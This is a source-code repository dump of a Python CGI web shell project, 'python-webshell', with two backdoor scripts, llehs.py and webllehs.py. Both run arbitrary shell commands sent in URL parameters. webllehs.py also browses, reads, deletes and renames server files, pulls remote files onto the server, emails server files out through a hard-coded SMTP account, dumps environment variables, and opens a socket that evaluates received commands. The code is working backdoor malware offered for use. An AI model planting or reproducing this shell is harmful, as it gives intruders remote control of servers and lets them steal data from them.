├── README ├── llehs.py └── webllehs.py /README: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evilcos/python-webshell/4af0a5501c7a75b7de88b51f10ee7e1449a1738a/README -------------------------------------------------------------------------------- /llehs.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # by enisoc 2009-13-79 12:73:-12 3 | 4 | import os 5 | import time 6 | import socket 7 | import urllib,urllib2 8 | 9 | FILE_NAME = 'llehs.py' 10 | 11 | def escape(content): 12 | content = content.replace("&", "&") 13 | content = content.replace("<", "<") 14 | content = content.replace(">", ">") 15 | if 0: 16 | content = content.replace('"', """) 17 | return content 18 | def get(name): 19 | q_str = os.environ['QUERY_STRING'] 20 | q_list = q_str.split('&') 21 | for q in q_list: 22 | if q.split('=')[0].lower() == name: 23 | value = q.split('=')[1].replace('+',' ') 24 | return urllib.unquote(value) 25 | 26 | try: 27 | cmd = get('cmd') 28 | if not cmd: 29 | cmd = 'id' 30 | cmd_result = os.popen(cmd).read() 31 | except Exception,e: 32 | cmd_result = str(e) 33 | 34 | print """Content-type: text/html 35 | 36 | 37 | 38 | 39 | 40 | llehs << 41 | 49 | 50 | 51 | 52 |
53 | 54 | 55 |

56 | """ 57 | print "-------------------------------------
" 58 | print escape(cmd_result).strip().replace(os.linesep,'
') 59 | print "
-------------------------------------
" 60 | print """@xeyeteam 2009. linux shell""" 61 | -------------------------------------------------------------------------------- /webllehs.py: -------------------------------------------------------------------------------- 1 | #encoding=utf8 2 | # 3 | #Version: 1.5 4 | #Author: cosine 5 | #Date: 2010/07 6 | #Desc: 7 | #webllehs - Backdoor Not Found 8 | #from http://xeyeteam.appspot.com/ 9 | import sys, os 10 | import re 11 | import cgi 12 | import time 13 | import socket 14 | import shutil 15 | import urllib 16 | import urllib2 17 | import smtplib 18 | from email.Header import Header 19 | from email.MIMEText import MIMEText 20 | from email.MIMEMultipart import MIMEMultipart 21 | 22 | #sys.stderr = sys.stdout 23 | 24 | #初始化变量++++++++++++++++++++++++++++++++++++++++++++++++++++ 25 | 26 | #该程序依据path参数标志出当前所在目录，此变量不需修改 27 | #例如: http://www.test.com/webllehs.py?path=. 28 | path = '.' 29 | 30 | #SELF_NAME的指必须与该程序的文件名相同 31 | SELF_NAME = 'webllehs.py' 32 | 33 | #初始化变量++++++++++++++++++++++++++++++++++++++++++++++++++++ 34 | 35 | class XeyeHandle: 36 | def __init__(self): 37 | pass 38 | def isExists(self, resource): 39 | try: 40 | if os.path.exists(resource): 41 | return True 42 | else: 43 | return False 44 | except: 45 | return False 46 | def listDir(self, path): 47 | try: 48 | return os.listdir(path) 49 | except: 50 | print '路径错误。' 51 | return [] 52 | def listFormatedDir(self, path): 53 | allDir = self.listDir(path) 54 | os.chdir(path) 55 | print '' 56 | print '' 57 | for i in allDir: 58 | if os.path.isdir(i): 59 | print ''\ 60 | %('' + i + '', self.lastModified(i), self.resourceMode(i), \ 61 | 'Del/Rename') 62 | for i in allDir: 63 | if not os.path.isdir(i): 64 | print ''\ 65 | %(i, self.lastModified(i), self.fileSize(i), self.resourceMode(i), \ 66 | 'R/C/D/\ 67 | Del/Rename') 68 | 69 | print '
资源最后修改时间大小模式操作
%s%s-%s%s
%s%s%sKB%s%s
' 70 | 71 | def currentPath(self): 72 | return os.getcwd() 73 | def url(self): 74 | return 'http://' + os.environ['SERVER_NAME'] + os.environ['SCRIPT_NAME'] 75 | 76 | def lastModified(self, resource): 77 | m = os.path.getmtime(resource) 78 | return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(m)) 79 | def fileSize(self, _file): 80 | s = str(os.path.getsize(_file)/1024.0) 81 | site = s.split('.')[0] + '.' + s.split('.')[1][:2] 82 | return site 83 | def resourceMode(self, resource): 84 | xrw = '' 85 | if os.access(resource, os.R_OK): 86 | xrw += 'R/' 87 | else: 88 | xrw += '-/' 89 | if os.access(resource, os.W_OK): 90 | xrw += 'W/' 91 | else: 92 | xrw += '-/' 93 | if os.access(resource, os.X_OK): 94 | xrw += 'X' 95 | else: 96 | xrw += '-' 97 | return xrw 98 | def delFold(self, fold): 99 | try: 100 | __str = str(fold).split('/') 101 | __fold = __str[len(__str)-1:len(__str)][0] 102 | except: 103 | __fold = fold 104 | try: 105 | os.rmdir(fold) 106 | return '目录（' + __fold + '）删除成功。' 107 | except: 108 | return '目录（' + __fold + '）删除失败。' 109 | def delFile(self, _file): 110 | try: 111 | __str = str(_file).split('/') 112 | __file = __str[len(__str)-1:len(__str)][0] 113 | except: 114 | __file = _file 115 | try: 116 | os.unlink(_file) 117 | return '文件（' + __file + '）删除成功。' 118 | except: 119 | return '文件（' + __file + '）删除失败。' 120 | def rename(self, resource1, resource2): 121 | try: 122 | __str = str(resource1).split('/') 123 | __resource1 = __str[len(__str)-1:len(__str)][0] 124 | __str = str(resource2).split('/') 125 | __resource2 = __str[len(__str)-1:len(__str)][0] 126 | except: 127 | __resource1 = resource1 128 | __resource2 = resource2 129 | try: 130 | os.rename(resource1, resource2) 131 | return __resource1 + '重命名为' + __resource2 + '成功。' 132 | except: 133 | return __resource1 + '重命名为' + __resource2 + '失败。' 134 | def copyFile(self, resource1, resource2): 135 | try: 136 | __str = str(resource1).split('/') 137 | __resource1 = __str[len(__str)-1:len(__str)][0] 138 | except: 139 | __resource1 = resource1 140 | __resource2 = resource2 141 | try: 142 | shutil.copyfile(resource1, resource2) 143 | return __resource1 + '复制到' + __resource2 + '成功。' 144 | except: 145 | return __resource1 + '复制到' + __resource2 + '失败。' 146 | def createFold(self, fold): 147 | try: 148 | os.mkdir(fold) 149 | return '文件夹' + str(fold) + '创建成功。' 150 | except: 151 | return '文件夹' + str(fold) + '创建失败。' 152 | def getFileContent(self, _file): 153 | f = open(_file, 'r') 154 | flist = f.readlines() 155 | f.close() 156 | content = ''.join(flist) 157 | #try: 158 | #content = content.decode('utf-8').encode('gb2312') 159 | #except: 160 | #pass 161 | return self.escape(content).replace('\n','
') 162 | def serverInfo(self, environ=os.environ): 163 | keys = environ.keys() 164 | keys.sort() 165 | i = 0 166 | info = '' 167 | info += '' 168 | for key in keys: 169 | info += '' 170 | info += '
名称值
'+self.escape(key)+''+self.escape(environ[key])+'
' 171 | return info 172 | 173 | def get(self, name): 174 | q_str = os.environ['QUERY_STRING'] 175 | q_list = q_str.split('&') 176 | for q in q_list: 177 | if q.split('=')[0].lower() == name: 178 | return urllib.unquote(q.split('=')[1].replace('+',' ')) 179 | def escape(self, content): 180 | content = content.replace("&", "&") 181 | content = content.replace("<", "<") 182 | content = content.replace(">", ">") 183 | if 0: 184 | content = content.replace('"', """) 185 | return content 186 | def startSocket(self): 187 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 188 | sock.bind(('60.32.52.10', 8077)) 189 | sock.listen(3) 190 | while True: 191 | connection,address = sock.accept() 192 | #connection.settimeout(5) 193 | bufcmd = connection.recv(1024) 194 | print 'your command is:
' 195 | print bufcmd 196 | print '
--------------------------------------

' 197 | if bufcmd == 'exit': 198 | print 'socket exit......
' 199 | connection.send('bye!') 200 | break 201 | else: 202 | try: 203 | print bufcmd + '>> eval result:
' 204 | print eval(bufcmd) + '
' 205 | connection.send('success!') 206 | except: 207 | print '指令执行失败......
' 208 | connection.send('fail!') 209 | #def evalCmd(self, cmd): 210 | # yourcmd = urllib.unquote(cmd) 211 | # try: 212 | # print yourcmd + '>> eval result:
' 213 | # print eval(yourcmd) + '
' 214 | # except: 215 | # print '指令执行失败......
' 216 | def evalCmd(self, cmd): 217 | cmd_result = os.popen(cmd).read() 218 | cmd_result = self.escape(cmd_result).strip().replace(os.linesep,'
') 219 | print cmd + '>> eval result:
' 220 | print cmd_result + '
' 221 | def uploadFile(self, url, localpath): 222 | try: 223 | urllib.urlretrieve(url,localpath) 224 | return '文件' + url + '上传成功。' 225 | except: 226 | return '文件' + url + '上传失败。' 227 | def email(self, _to, _file): 228 | try: 229 | __str = str(_file).split('/') 230 | __file = __str[len(__str)-1:len(__str)][0] 231 | except: 232 | __file = _file 233 | try: 234 | msg = MIMEMultipart() 235 | att = MIMEText(open(_file, 'rb').read(), 'base64', 'gb2312') 236 | att["Content-Type"] = 'application/octet-stream' 237 | att["Content-Disposition"] = 'attachment; filename=' + __file 238 | msg.attach(att) 239 | 240 | msg['to'] = _to 241 | msg['from'] = 'supern0va@126.com' 242 | msg['subject'] = Header('from py_webshell: ' + __file, 'utf-8') 243 | server = smtplib.SMTP('smtp.126.com') 244 | server.login('supern0va@126.com', 'supernova *') 245 | server.sendmail(msg['from'], msg['to'], msg.as_string()) 246 | server.close 247 | return '文件' + __file + '发送到' + _to + '成功。' 248 | except: 249 | return '文件' + __file + '发送到' + _to + '失败。' 250 | 251 | 252 | __x = XeyeHandle() 253 | 254 | print """Content-type: text/html 255 | 256 | 257 | 258 | 259 | 260 | Backdoor Not Found 261 | 269 | 360 | 361 | """ 362 | 363 | #form = cgi.FieldStorage() 364 | #print 'cgi form', form.keys() 365 | 366 | #delete file 367 | try: 368 | del_file = __x.get('delfile') 369 | if del_file: 370 | try: 371 | path = __x.get('path') 372 | except: 373 | path = '' 374 | print __x.delFile(del_file), '| 返回' 375 | print '
' 376 | except: 377 | pass 378 | #delete fold 379 | try: 380 | del_fold = __x.get('delfold') 381 | if del_fold: 382 | try: 383 | path = __x.get('path') 384 | except: 385 | path = '' 386 | print __x.delFold(del_fold), '| 返回' 387 | print '
' 388 | except: 389 | pass 390 | #rename file or fold 391 | try: 392 | oldname = __x.get('oldname') 393 | newname = __x.get('newname') 394 | if oldname and newname: 395 | try: 396 | path = __x.get('path') 397 | except: 398 | path = '' 399 | print __x.rename(oldname, newname), '| 返回' 400 | print '
' 401 | except: 402 | pass 403 | #copy file 404 | try: 405 | copyname = __x.get('copyname') 406 | newname = __x.get('newname') 407 | if copyname and newname: 408 | try: 409 | path = __x.get('path') 410 | except: 411 | path = '' 412 | print __x.copyFile(copyname, newname), '| 返回' 413 | print '
' 414 | except: 415 | pass 416 | #create fold 417 | try: 418 | createfold = __x.get('createfold') 419 | if createfold: 420 | try: 421 | path = __x.get('path') 422 | except: 423 | path = '' 424 | print __x.createFold(createfold), '| 返回' 425 | print '
' 426 | except: 427 | pass 428 | #upload file from internet 429 | try: 430 | targeturl = __x.get('targeturl') 431 | localpath = __x.get('localpath') 432 | if targeturl and localpath: 433 | try: 434 | path = __x.get('path') 435 | except: 436 | path = '' 437 | print __x.uploadFile(targeturl, localpath), '| 返回' 438 | print '
' 439 | except: 440 | pass 441 | #mail file to target-email 442 | try: 443 | mailto = __x.get('emailto') 444 | mailfile = __x.get('emailfile') 445 | if mailto and mailfile: 446 | try: 447 | path = __x.get('path') 448 | except: 449 | path = '' 450 | print __x.email(mailto, mailfile), '| 返回' 451 | print '
' 452 | except: 453 | pass 454 | #read content of file 455 | try: 456 | readfile = __x.get('readfile') 457 | if readfile: 458 | try: 459 | path = __x.get('path') 460 | except: 461 | path = '' 462 | print '文件内容如下： | 返回' 463 | print '
-------------------------------------------------------------
' 464 | print __x.getFileContent(readfile) 465 | print '
-------------------------------------------------------------

' 466 | except: 467 | pass 468 | #server info 469 | try: 470 | serverinfo = __x.get('serverinfo') 471 | if serverinfo == "true": 472 | try: 473 | path = __x.get('path') 474 | except: 475 | path = '' 476 | print '服务器信息如下： | 返回' 477 | print '
-------------------------------------------------------------
' 478 | print __x.serverInfo() 479 | print '
-------------------------------------------------------------

' 480 | except: 481 | pass 482 | #socket connection 483 | try: 484 | socketinfo = __x.get('socket') 485 | if socketinfo == "true": 486 | try: 487 | path = __x.get('path') 488 | except: 489 | path = '' 490 | print 'Socket通信执行如下： | 返回' 491 | print '
-------------------------------------------------------------
' 492 | __x.startSocket() 493 | print '
-------------------------------------------------------------

' 494 | except: 495 | pass 496 | #eval cmd 497 | try: 498 | cmd = __x.get('cmd') 499 | if cmd: 500 | try: 501 | path = __x.get('path') 502 | except: 503 | path = '' 504 | print '命令执行结果如下： | 返回' 505 | print '
-------------------------------------------------------------
' 506 | __x.evalCmd(cmd) 507 | print '
-------------------------------------------------------------

' 508 | except: 509 | pass 510 | 511 | #absolute path 512 | try: 513 | path = __x.get('path') 514 | if path == '' or path == '.': 515 | path = __x.currentPath() 516 | except Exception,e: 517 | path = __x.currentPath() 518 | 519 | print "
" 520 | print "" 521 | print """ 522 | 523 |

524 | """ 525 | print 'Webshell目录 | 创建目录 \ 526 | | 上传文件 | Email发送文件 \ 527 | | 执行命令 | Socket反弹 \ 528 | | 服务器信息 |

' 529 | 530 | print "上级目录 | 当前路径（" + path + "）下的资源：
" 531 | __x.listFormatedDir(path) 532 | 533 | print """
(C)Xeye Team - Hacking No Area 2010 534 | """ 535 | --------------------------------------------------------------------------------